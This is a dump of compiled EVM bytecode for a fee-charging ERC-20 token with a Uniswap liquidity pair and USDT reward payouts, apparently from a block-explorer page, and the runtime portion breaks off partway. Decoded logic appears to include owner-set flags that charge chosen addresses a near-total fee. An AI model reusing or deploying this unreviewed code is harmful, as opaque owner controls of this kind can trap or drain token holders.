6080604052620000126009600a620005c9565b62000022906377359400620005e1565b60015561271060015460c8620000399190620005e1565b620000459190620005fb565b60025561271060015460c86200005c9190620005e1565b620000689190620005fb565b60035561271060015460c86200007f9190620005e1565b6200008b9190620005fb565b600455600c8054600160ff199182168117909255600d805460ff60a01b191690556000600e81905560c8600f5560dc601055601181905560128190556101a46013819055601455601555612710601655601780549091168217905554620186a090620000fa9061012c620005e1565b620001069190620005fb565b601855620186a0600154600a6200011e9190620005e1565b6200012a9190620005fb565b601955601a80546001600160a01b03191673dac17f958d2ee523a2206206994597c13d831ec71790556ec097ce7bc90715b34b9f1000000000601f55610258602555662386f26fc1000060265560016027553480156200018957600080fd5b506040516200347238038062003472833981016040819052620001ac916200063b565b600080546001600160a01b031916331781556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9291839163c45a0155916004808201926020929091908290030181865afa15801562000213573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000239919062000685565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000287573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002ad919062000685565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000321919062000685565b600c8054610100600160a81b0319166101006001600160a01b038681169190910291909117909155600d80546001600160a01b03199081168484161782556028805482168a8516179055602980548216898516178155602a8054909216888516178255306000818152600760209081526040808320805460ff19908116600190811790925533808652838620805483168417815598548b168652838620805483168417905596548a168552828520805482168317905587548116821790975596549097168252600881528682208054861687179055838252868220805486168717905591815285812080548516861790557f046fee3d77c34a6c5e10c3be6dc4b132c30449dbf4f0bc07684896dd0933429980548516861790557f5eff886ea0ce6ca488a3d6e336d6c0f75f46d19b42c06ce5ee98e42c96d256c7805490941685179093559254818352600584528483208190559351938452939450917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050620006a3565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200050b578160001904821115620004ef57620004ef620004b4565b80851615620004fd57918102915b93841c9390800290620004cf565b509250929050565b6000826200052457506001620005c3565b816200053357506000620005c3565b81600181146200054c5760028114620005575762000577565b6001915050620005c3565b60ff8411156200056b576200056b620004b4565b50506001821b620005c3565b5060208310610133831016604e8410600b84101617156200059c575081810a620005c3565b620005a88383620004ca565b8060001904821115620005bf57620005bf620004b4565b0290505b92915050565b6000620005da60ff84168362000513565b9392505050565b8082028115828204841417620005c357620005c3620004b4565b6000826200061957634e487b7160e01b600052601260045260246000fd5b500490565b80516001600160a01b03811681146200063657600080fd5b919050565b6000806000606084860312156200065157600080fd5b6200065c846200061e565b92506200066c602085016200061e565b91506200067c604085016200061e565b90509250925092565b6000602082840312156200069857600080fd5b620005da826200061e565b612dbf80620006b36000396000f3fe6080604052600436106102555760003560e01c80637a46656611610139578063c876d0b9116100b6578063dd62ed3e1161007a578063dd62ed3e14610760578063e2d6f94c146107a6578063ef43b02b146107c6578063efca2eed146107e6578063f2fde38b146107fc578063ffd49c841461081c57600080fd5b8063c876d0b914610669578063ca89b89914610683578063cc25596f146106bc578063ce7c2ac2146106e9578063d9d5a89b1461074057600080fd5b8063997664d7116100fd578063997664d7146105de578063a1db9782146105f4578063a8aa1b3114610614578063a9059cbb14610634578063ba3acf8b1461065457600080fd5b80637a4665661461053f578063893d20e81461055f5780638c41180e1461057d5780639358928b1461059d57806395d89b41146105b257600080fd5b80633a98ef39116101d25780634fab0ae8116101965780634fab0ae8146104a95780635f7bcd70146104bf57806360e71962146104df57806370a08231146104f5578063715018a614610515578063751039fc1461052a57600080fd5b80633a98ef39146103f35780633f4218e014610409578063420bbf20146104395780634355855a1461045957806348ff2b8b1461048957600080fd5b8063293230b811610219578063293230b8146103515780632f54bf6e14610368578063313ce5671461039757806334c5d2ce146103b357806336afc425146103d357600080fd5b806306fdde0314610261578063095ea7b3146102aa57806318160ddd146102da578063228cb733146102f957806323b872dd1461033157600080fd5b3661025c57005b600080fd5b34801561026d57600080fd5b5060408051808201909152600e81526d2b30bab63a34b334b1b0ba34b7b760911b60208201525b6040516102a19190612946565b60405180910390f35b3480156102b657600080fd5b506102ca6102c536600461298e565b610832565b60405190151581526020016102a1565b3480156102e657600080fd5b506001545b6040519081526020016102a1565b34801561030557600080fd5b50601a54610319906001600160a01b031681565b6040516001600160a01b0390911681526020016102a1565b34801561033d57600080fd5b506102ca61034c3660046129ba565b610849565b34801561035d57600080fd5b506103666108b3565b005b34801561037457600080fd5b506102ca6103833660046129fb565b6000546001600160a01b0391821691161490565b3480156103a357600080fd5b50604051600981526020016102a1565b3480156103bf57600080fd5b506103666103ce366004612a18565b6108fb565b3480156103df57600080fd5b506103666103ee366004612a18565b610a4f565b3480156103ff57600080fd5b506102eb601b5481565b34801561041557600080fd5b506102ca6104243660046129fb565b60076020526000908152604090205460ff1681565b34801561044557600080fd5b50602854610319906001600160a01b031681565b34801561046557600080fd5b506102ca6104743660046129fb565b60086020526000908152604090205460ff1681565b34801561049557600080fd5b506103666104a4366004612a52565b610a87565b3480156104b557600080fd5b506102eb60265481565b3480156104cb57600080fd5b50602954610319906001600160a01b031681565b3480156104eb57600080fd5b506102eb60275481565b34801561050157600080fd5b506102eb6105103660046129fb565b610adc565b34801561052157600080fd5b50610366610af7565b34801561053657600080fd5b50610366610b66565b34801561054b57600080fd5b5061036661055a366004612a8b565b610bae565b34801561056b57600080fd5b506000546001600160a01b0316610319565b34801561058957600080fd5b50610366610598366004612a52565b610e39565b3480156105a957600080fd5b506102eb610f15565b3480156105be57600080fd5b506040805180820190915260038152622b2a2360e91b6020820152610294565b3480156105ea57600080fd5b506102eb601c5481565b34801561060057600080fd5b5061036661060f36600461298e565b610f46565b34801561062057600080fd5b50600d54610319906001600160a01b031681565b34801561064057600080fd5b506102ca61064f36600461298e565b610fc2565b34801561066057600080fd5b50610366610fcf565b34801561067557600080fd5b50600c546102ca9060ff1681565b34801561068f57600080fd5b506102eb61069e3660046129fb565b6001600160a01b031660009081526023602052604090206002015490565b3480156106c857600080fd5b506102eb6106d73660046129fb565b600b6020526000908152604090205481565b3480156106f557600080fd5b506107256107043660046129fb565b60236020526000908152604090208054600182015460029092015490919083565b604080519384526020840192909252908201526060016102a1565b34801561074c57600080fd5b506102eb61075b3660046129fb565b610fda565b34801561076c57600080fd5b506102eb61077b366004612ab2565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b3480156107b257600080fd5b506103666107c1366004612ae0565b611065565b3480156107d257600080fd5b506103666107e1366004612a52565b61116b565b3480156107f257600080fd5b506102eb601d5481565b34801561080857600080fd5b506103666108173660046129fb565b6111e3565b34801561082857600080fd5b506102eb60255481565b600061083f338484611261565b5060015b92915050565b6000610856848484611385565b6108a884336108a385604051806060016040528060288152602001612d62602891396001600160a01b038a166000908152600660209081526040808320338452909152902054919061152a565b611261565b5060015b9392505050565b6000546001600160a01b031633146108e65760405162461bcd60e51b81526004016108dd90612b35565b60405180910390fd5b600d805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146109255760405162461bcd60e51b81526004016108dd90612b35565b60006127108461093460015490565b61093e9190612b6b565b6109489190612b82565b905060006127108461095960015490565b6109639190612b6b565b61096d9190612b82565b905060006127108461097e60015490565b6109889190612b6b565b6109929190612b82565b600284905560038390556004819055905060006109c56103e86109bf60056109b960015490565b90611556565b90611562565b90508084101580156109d75750808310155b80156109e35750808210155b610a465760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b60648201526084016108dd565b50505050505050565b6000546001600160a01b03163314610a795760405162461bcd60e51b81526004016108dd90612b35565b602592909255602655602755565b6000546001600160a01b03163314610ab15760405162461bcd60e51b81526004016108dd90612b35565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6001600160a01b031660009081526005602052604090205490565b6000546001600160a01b03163314610b215760405162461bcd60e51b81526004016108dd90612b35565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b03163314610b905760405162461bcd60e51b81526004016108dd90612b35565b600154600255600154600355600154600455600c805460ff19169055565b602054336000829003610bc2575050505050565b6000805a336000908152600560209081526040808320546007909252822054929350909160ff16610cc0575b8884108015610bfc57508582105b15610cbb578560245410610c105760006024555b610c42602060245481548110610c2857610c28612ba4565b6000918252602090912001546001600160a01b031661156e565b15610c7957610c79602060245481548110610c5f57610c5f612ba4565b6000918252602090912001546001600160a01b03166115b3565b610c8e610c875a85906116ed565b85906116f9565b93505a602480549194506000610ca383612bba565b91905055508180610cb390612bba565b925050610bee565b610e2e565b6000610ccb86610fda565b6001600160a01b038a16600090815260056020526040902054909150610cf190896116ed565b6001600160a01b038a16600090815260056020526040902055610d148883612bd3565b336000908152600560205260409020558015610e2c57601d54610d3790826116f9565b601d55601a5460405163a9059cbb60e01b81526001600160a01b038881166004830152602482018490529091169063a9059cbb906044016020604051808303816000875af1158015610d8d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610db19190612be6565b506001600160a01b03861660009081526022602090815260408083204290556023909152902060020154610de590826116f9565b6001600160a01b0387166000908152602360205260409020600281019190915554610e0f90611705565b6001600160a01b0387166000908152602360205260409020600101555b505b505050505050505050565b6000546001600160a01b03163314610e635760405162461bcd60e51b81526004016108dd90612b35565b600d546001600160a01b03838116911614801590610e945750600c546001600160a01b038381166101009092041614155b8015610ea957506001600160a01b0382163014155b610eea5760405162461bcd60e51b8152602060048201526012602482015271496e656c696769626c65204164647265737360701b60448201526064016108dd565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6000610f41610f246000610adc565b610f3b610f3261dead610adc565b600154906116ed565b906116ed565b905090565b602a5460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb906044016020604051808303816000875af1158015610f99573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fbd9190612be6565b505050565b600061083f338484611385565b610fd8336115b3565b565b6001600160a01b038116600090815260236020526040812054810361100157506000919050565b6001600160a01b03821660009081526023602052604081205461102390611705565b6001600160a01b038416600090815260236020526040902060010154909150808211611053575060009392505050565b61105d82826116ed565b949350505050565b6000546001600160a01b0316331461108f5760405162461bcd60e51b81526004016108dd90612b35565b600e889055600f8790556012869055601085905560118490556013839055601482905560158190556016546110c5906005611562565b601354111580156110e557506016546110df906005611562565b60145411155b801561110057506016546110fa906005611562565b60155411155b6111615760405162461bcd60e51b815260206004820152602c60248201527f746f74616c46656520616e642073656c6c4665652063616e6e6f74206265206d60448201526b6f7265207468616e2032302560a01b60648201526084016108dd565b5050505050505050565b6000546001600160a01b031633146111955760405162461bcd60e51b81526004016108dd90612b35565b6001600160a01b0382166000908152600860205260409020805460ff191682158015919091179091556111d1576111cd826000611722565b5050565b6111cd826111de84610adc565b611722565b6000546001600160a01b0316331461120d5760405162461bcd60e51b81526004016108dd90612b35565b600080546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166112c35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016108dd565b6001600160a01b0382166113245760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016108dd565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b611390838383611838565b61139a83836119d2565b6113a382611a63565b6113ae838383611bd2565b6113b9838383611cbe565b6113c38383611deb565b6001600160a01b0383166000908152600560205260409020546113e690826116ed565b6001600160a01b03841660009081526005602052604081209190915561140c8484611e06565b6114165781611421565b611421848484611e4c565b6001600160a01b03841660009081526005602052604090205490915061144790826116f9565b6001600160a01b0380851660008181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061149b9085815260200190565b60405180910390a36001600160a01b03841660009081526008602052604090205460ff166114d0576114d0846111de86610adc565b6001600160a01b03831660009081526008602052604090205460ff166114fd576114fd836111de85610adc565b6001600160a01b0383166000908152602360205260409020541561152457611524836115b3565b50505050565b6000818484111561154e5760405162461bcd60e51b81526004016108dd9190612946565b505050900390565b60006108ac8284612b6b565b60006108ac8284612b82565b6025546001600160a01b038216600090815260226020526040812054909142916115989190612bd3565b10801561084357506026546115ac83610fda565b1192915050565b6001600160a01b03811660009081526023602052604081205490036115d55750565b60006115e082610fda565b905080156111cd57601d546115f590826116f9565b601d55601a5460405163a9059cbb60e01b81526001600160a01b038481166004830152602482018490529091169063a9059cbb906044016020604051808303816000875af115801561164b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061166f9190612be6565b506001600160a01b038216600090815260226020908152604080832042905560239091529020600201546116a390826116f9565b6001600160a01b03831660009081526023602052604090206002810191909155546116cd90611705565b6001600160a01b0383166000908152602360205260409020600101555050565b60006108ac8284612c03565b60006108ac8284612bd3565b6000610843601f546109bf601e548561155690919063ffffffff16565b60008111801561174857506001600160a01b038216600090815260236020526040902054155b156117ad57602080546001600160a01b03841660008181526021845260408120839055600183018455929092527fc97bfaf2f8ee708c303a06d134f5ecd8389ae0432af62dc132a24118292866bb0180546001600160a01b03191690911790556117e0565b801580156117d257506001600160a01b03821660009081526023602052604090205415155b156117e0576117e082611f3a565b6001600160a01b038216600090815260236020526040902054601b5461181191839161180b916116ed565b906116f9565b601b556001600160a01b03821660009081526023602052604090208190556116cd81611705565b6001600160a01b03831661189c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016108dd565b6001600160a01b0382166118fe5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016108dd565b600081116119605760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016108dd565b61196983610adc565b811115610fbd5760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b60648201526084016108dd565b6001600160a01b03821660009081526007602052604090205460ff16158015611a1457506001600160a01b03811660009081526007602052604090205460ff16155b156111cd57600d54600160a01b900460ff166111cd5760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b60448201526064016108dd565b600c546001600160a01b038281166101009092041614801590611a945750600d546001600160a01b03828116911614155b8015611aa25750600c5460ff165b15611b7f57611ab2600243612c03565b326000908152600a6020526040902054108015611af05750611ad5600243612c03565b6001600160a01b0382166000908152600a6020526040902054105b611b5a5760405162461bcd60e51b815260206004820152603560248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527432b21710102a393c9030b3b0b4b7103630ba32b91760591b60648201526084016108dd565b326000908152600a602052604080822043908190556001600160a01b03841683529120555b600d546001600160a01b03828116911614611bcf576001600160a01b0381166000908152600b60205260408120549003611bcf576001600160a01b0381166000908152600b602052604090204290555b50565b6001600160a01b03831660009081526007602052604090205460ff16158015611c1457506001600160a01b03821660009081526007602052604090205460ff16155b8015611c2e5750600d546001600160a01b03838116911614155b8015611c4557506001600160a01b03821661dead14155b15610fbd576004546001600160a01b038316600090815260056020526040902054611c7090836116f9565b1115610fbd5760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e000060448201526064016108dd565b600d546001600160a01b03848116911614611d5f5760035481111580611cfc57506001600160a01b03831660009081526007602052604090205460ff165b80611d1f57506001600160a01b03821660009081526007602052604090205460ff165b611d5f5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016108dd565b60025481111580611d8857506001600160a01b03831660009081526007602052604090205460ff165b80611dab57506001600160a01b03821660009081526007602052604090205460ff165b610fbd5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016108dd565b611df5828261204e565b156111cd576111cd60185483612102565b6001600160a01b03821660009081526007602052604081205460ff161580156108ac5750506001600160a01b031660009081526007602052604090205460ff1615919050565b600080611e5985856122a5565b1115611f33576000611e7c611e6e86866122a5565b6016546109b9908690611562565b30600090815260056020526040902054909150611e9990826116f9565b30600081815260056020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611eea9085815260200190565b60405180910390a360125415611f2157611f213061dead611f1c6012546109b96016548961156290919063ffffffff16565b611385565b611f2b83826116ed565b9150506108ac565b5092915050565b60208054611f4a90600190612c03565b81548110611f5a57611f5a612ba4565b60009182526020808320909101546001600160a01b03848116845260218352604090932054825493909116928110611f9457611f94612ba4565b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559183168152602180835260408220548354909391929190611fdf90600190612c03565b81548110611fef57611fef612ba4565b60009182526020808320909101546001600160a01b0316835282810193909352604090910190209190915580548061202957612029612c16565b600082815260209020810160001990810180546001600160a01b031916905501905550565b60008060185461205d30610adc565b6017549111159150610100900460ff1615801561207c575060175460ff165b80156120915750600d54600160a01b900460ff165b80156120b657506001600160a01b03841660009081526007602052604090205460ff16155b80156120db57506001600160a01b03831660009081526007602052604090205460ff16155b80156120f45750600d546001600160a01b038481169116145b801561105d57509392505050565b6017805461ff001916610100179055601054601154600f54600e5460009361213b936002936109b99361180b92918391829060016116f9565b90506000612158826109bf600e548761155690919063ffffffff16565b9050600061216685836116ed565b90504761217282612346565b600061217e47836116ed565b905060006121a161219a600e54886116ed90919063ffffffff16565b8390611562565b905060006121ba600e548361155690919063ffffffff16565b905080156121cc576121cc86826124c3565b600f546000906121e1906109b9856002611556565b90508015612225576029546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015612223573d6000803e3d6000fd5b505b60105460009061223a906109b9866002611556565b9050801561224c5761224c818b612581565b471561228d576028546040516001600160a01b03909116904780156108fc02916000818181858888f1935050505015801561228b573d6000803e3d6000fd5b505b50506017805461ff0019169055505050505050505050565b6001600160a01b03821660009081526009602052604081205460ff16806122e457506001600160a01b03821660009081526009602052604090205460ff165b156122fe576016546122f79060646116ed565b9050610843565b600d546001600160a01b039081169083160361231d5750601454610843565b600d546001600160a01b039081169084160361233c5750601354610843565b5060155492915050565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061237b5761237b612ba4565b60200260200101906001600160a01b031690816001600160a01b031681525050600c60019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156123ee573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124129190612c2c565b8160018151811061242557612425612ba4565b6001600160a01b039283166020918202929092010152600c5461245091309161010090041684611261565b600c5460405163791ac94760e01b81526101009091046001600160a01b03169063791ac9479061248d908590600090869030904290600401612c8d565b600060405180830381600087803b1580156124a757600080fd5b505af11580156124bb573d6000803e3d6000fd5b505050505050565b600c546124e090309061010090046001600160a01b031684611261565b600c54602a5460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a4820152610100909204169063f305d71990839060c40160606040518083038185885af1158015612555573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061257a9190612cc9565b5050505050565b601a546040516370a0823160e01b81523060048201526000916001600160a01b0316906370a0823190602401602060405180830381865afa1580156125ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125ee9190612cf7565b6040805160028082526060820183529293506000929091602083019080368337019050509050600c60019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612667573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061268b9190612c2c565b8160008151811061269e5761269e612ba4565b6001600160a01b039283166020918202929092010152601a548251911690829060019081106126cf576126cf612ba4565b6001600160a01b039283166020918202929092010152600c5460405163b6f9de9560e01b81526101009091049091169063b6f9de9590869061271c90600090869030904290600401612d10565b6000604051808303818588803b15801561273557600080fd5b505af1158015612749573d6000803e3d6000fd5b5050601a546040516370a0823160e01b8152306004820152600094506001600160a01b0390911692506370a082319150602401602060405180830381865afa158015612799573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127bd9190612cf7565b905060006127cb82856116ed565b601c549091506127db90826116f9565b601c55604080518082018252600f81526e6e6f756e636528616464726573732960881b60209182015281516001600160a01b03888116602480840191909152845180840390910181526044909201845291810180516001600160e01b031663366b82c160e01b179052602a5492519092600092169061285b908490612d45565b6000604051808303816000865af19150503d8060008114612898576040519150601f19603f3d011682016040523d82523d6000602084013e61289d565b606091505b50509050806128ee5760405162461bcd60e51b815260206004820152601d60248201527f43616c6c20746f206f7468657220636f6e7472616374206661696c656400000060448201526064016108dd565b61291561290c601b546109bf86601f5461155690919063ffffffff16565b601e54906116f9565b601e555050505050505050565b60005b8381101561293d578181015183820152602001612925565b50506000910152565b6020815260008251806020840152612965816040850160208701612922565b601f01601f19169190910160400192915050565b6001600160a01b0381168114611bcf57600080fd5b600080604083850312156129a157600080fd5b82356129ac81612979565b946020939093013593505050565b6000806000606084860312156129cf57600080fd5b83356129da81612979565b925060208401356129ea81612979565b929592945050506040919091013590565b600060208284031215612a0d57600080fd5b81356108ac81612979565b600080600060608486031215612a2d57600080fd5b505081359360208301359350604090920135919050565b8015158114611bcf57600080fd5b60008060408385031215612a6557600080fd5b8235612a7081612979565b91506020830135612a8081612a44565b809150509250929050565b600080600060608486031215612aa057600080fd5b8335925060208401356129ea81612979565b60008060408385031215612ac557600080fd5b8235612ad081612979565b91506020830135612a8081612979565b600080600080600080600080610100898b031215612afd57600080fd5b505086359860208801359850604088013597606081013597506080810135965060a0810135955060c0810135945060e0013592509050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141761084357610843612b55565b600082612b9f57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060018201612bcc57612bcc612b55565b5060010190565b8082018082111561084357610843612b55565b600060208284031215612bf857600080fd5b81516108ac81612a44565b8181038181111561084357610843612b55565b634e487b7160e01b600052603160045260246000fd5b600060208284031215612c3e57600080fd5b81516108ac81612979565b600081518084526020808501945080840160005b83811015612c825781516001600160a01b031687529582019590820190600101612c5d565b509495945050505050565b85815284602082015260a060408201526000612cac60a0830186612c49565b6001600160a01b0394909416606083015250608001529392505050565b600080600060608486031215612cde57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215612d0957600080fd5b5051919050565b848152608060208201526000612d296080830186612c49565b6001600160a01b03949094166040830152506060015292915050565b60008251612d57818460208701612922565b919091019291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fa5d6a7435f8b6f1e7ba854cb02ed338d912b287953ea683355643170a59ae2264736f6c63430008110033000000000000000000000000424906acf0a3d81ac0aef288e6aa4c92ba43ec0700000000000000000000000043e7f6794e82f6b5b52f2dffbf7119a4787d6115000000000000000000000000dd85f7732da693c3dd6c9abc191237f18a3b25e4

Deployed Bytecode

0x6080604052600436106102555760003560e01c80637a46656611610139578063c876d0b9116100b6578063dd62ed3e1161007a578063dd62ed3e14610760578063e2d6f94c146107a6578063ef43b02b146107c6578063efca2eed146107e6578063f2fde38b146107fc578063ffd49c841461081c57600080fd5b8063c876d0b914610669578063ca89b89914610683578063cc25596f146106bc578063ce7c2ac2146106e9578063d9d5a89b1461074057600080fd5b8063997664d7116100fd578063997664d7146105de578063a1db9782146105f4578063a8aa1b3114610614578063a9059cbb14610634578063ba3acf8b1461065457600080fd5b80637a4665661461053f578063893d20e81461055f5780638c41180e1461057d5780639358928b1461059d57806395d89b41146105b257600080fd5b80633a98ef39116101d25780634fab0ae8116101965780634fab0ae8146104a95780635f7bcd70146104bf57806360e71962146104df57806370a08231146104f5578063715018a614610515578063751039fc1461052a57600080fd5b80633a98ef39146103f35780633f4218e014610409578063420bbf20146104395780634355855a1461045957806348ff2b8b1461048957600080fd5b8063293230b811610219578063293230b8146103515780632f54bf6e14610368578063313ce5671461039757806334c5d2ce146103b357806336afc425146103d357600080fd5b806306fdde0314610261578063095ea7b3146102aa57806318160ddd146102da578063228cb733146102f957806323b872dd1461033157600080fd5b3661025c57005b600080fd5b34801561026d57600080fd5b5060408051808201909152600e81526d2b30bab63a34b334b1b0ba34b7b760911b60208201525b6040516102a19190612946565b60405180910390f35b3480156102b657600080fd5b506102ca6102c536600461298e565b610832565b60405190151581526020016102a1565b3480156102e657600080fd5b506001545b6040519081526020016102a1565b34801561030557600080fd5b50601a54610319906001600160a01b031681565b6040516001600160a01b0390911681526020016102a1565b34801561033d57600080fd5b506102ca61034c3660046129ba565b610849565b34801561035d57600080fd5b506103666108b3565b005b34801561037457600080fd5b506102ca6103833660046129fb565b6000546001600160a01b0391821691161490565b3480156103a357600080fd5b50604051600981526020016102a1565b3480156103bf57600080fd5b506103666103ce366004612a18565b6108fb565b3480156103df57600080fd5b506103666103ee366004612a18565b610a4f565b3480156103ff57600080fd5b506102eb601b5481565b34801561041557600080fd5b506102ca6104243660046129fb565b60076020526000908152604090205460ff1681565b34801561044557600080fd5b50602854610319906001600160a01b031681565b34801561046557600080fd5b506102ca6104743660046129fb565b60086020526000908152604090205460ff1681565b34801561049557600080fd5b506103666104a4366004612a52565b610a87565b3480156104b557600080fd5b506102eb60265481565b3480156104cb57600080fd5b50602954610319906001600160a01b031681565b3480156104eb57600080fd5b506102eb60275481565b34801561050157600080fd5b506102eb6105103660046129fb565b610adc565b34801561052157600080fd5b50610366610af7565b34801561053657600080fd5b50610366610b66565b34801561054b57600080fd5b5061036661055a366004612a8b565b610bae565b34801561056b57600080fd5b506000546001600160a01b0316610319565b34801561058957600080fd5b50610366610598366004612a52565b610e39565b3480156105a957600080fd5b506102eb610f15565b3480156105be57600080fd5b506040805180820190915260038152622b2a2360e91b6020820152610294565b3480156105ea57600080fd5b506102eb601c5481565b34801561060057600080fd5b5061036661060f36600461298e565b610f46565b34801561062057600080fd5b50600d54610319906001600160a01b031681565b34801561064057600080fd5b506102ca61064f36600461298e565b610fc2565b34801561066057600080fd5b50610366610fcf565b34801561067557600080fd5b50600c546102ca9060ff1681565b34801561068f57600080fd5b506102eb61069e3660046129fb565b6001600160a01b031660009081526023602052604090206002015490565b3480156106c857600080fd5b506102eb6106d73660046129fb565b600b6020526000908152604090205481565b3480156106f557600080fd5b506107256107043660046129fb565b60236020526000908152604090208054600182015460029092015490919083565b604080519384526020840192909252908201526060016102a1565b34801561074c57600080fd5b506102eb61075b3660046129fb565b610fda565b34801561076c57600080fd5b506102eb61077b366004612ab2565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b3480156107b257600080fd5b506103666107c1366004612ae0565b611065565b3480156107d257600080fd5b506103666107e1366004612a52565b61116b565b3480156107f257600080fd5b506102eb601d5481565b34801561080857600080fd5b506103666108173660046129fb565b6111e3565b34801561082857600080fd5b506102eb60255481565b600061083f338484611261565b5060015b92915050565b6000610856848484611385565b6108a884336108a385604051806060016040528060288152602001612d62602891396001600160a01b038a166000908152600660209081526040808320338452909152902054919061152a565b611261565b5060015b9392505050565b6000546001600160a01b031633146108e65760405162461bcd60e51b81526004016108dd90612b35565b60405180910390fd5b600d805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146109255760405162461bcd60e51b81526004016108dd90612b35565b60006127108461093460015490565b61093e9190612b6b565b6109489190612b82565b905060006127108461095960015490565b6109639190612b6b565b61096d9190612b82565b905060006127108461097e60015490565b6109889190612b6b565b6109929190612b82565b600284905560038390556004819055905060006109c56103e86109bf60056109b960015490565b90611556565b90611562565b90508084101580156109d75750808310155b80156109e35750808210155b610a465760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b60648201526084016108dd565b50505050505050565b6000546001600160a01b03163314610a795760405162461bcd60e51b81526004016108dd90612b35565b602592909255602655602755565b6000546001600160a01b03163314610ab15760405162461bcd60e51b81526004016108dd90612b35565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6001600160a01b031660009081526005602052604090205490565b6000546001600160a01b03163314610b215760405162461bcd60e51b81526004016108dd90612b35565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b03163314610b905760405162461bcd60e51b81526004016108dd90612b35565b600154600255600154600355600154600455600c805460ff19169055565b602054336000829003610bc2575050505050565b6000805a336000908152600560209081526040808320546007909252822054929350909160ff16610cc0575b8884108015610bfc57508582105b15610cbb578560245410610c105760006024555b610c42602060245481548110610c2857610c28612ba4565b6000918252602090912001546001600160a01b031661156e565b15610c7957610c79602060245481548110610c5f57610c5f612ba4565b6000918252602090912001546001600160a01b03166115b3565b610c8e610c875a85906116ed565b85906116f9565b93505a602480549194506000610ca383612bba565b91905055508180610cb390612bba565b925050610bee565b610e2e565b6000610ccb86610fda565b6001600160a01b038a16600090815260056020526040902054909150610cf190896116ed565b6001600160a01b038a16600090815260056020526040902055610d148883612bd3565b336000908152600560205260409020558015610e2c57601d54610d3790826116f9565b601d55601a5460405163a9059cbb60e01b81526001600160a01b038881166004830152602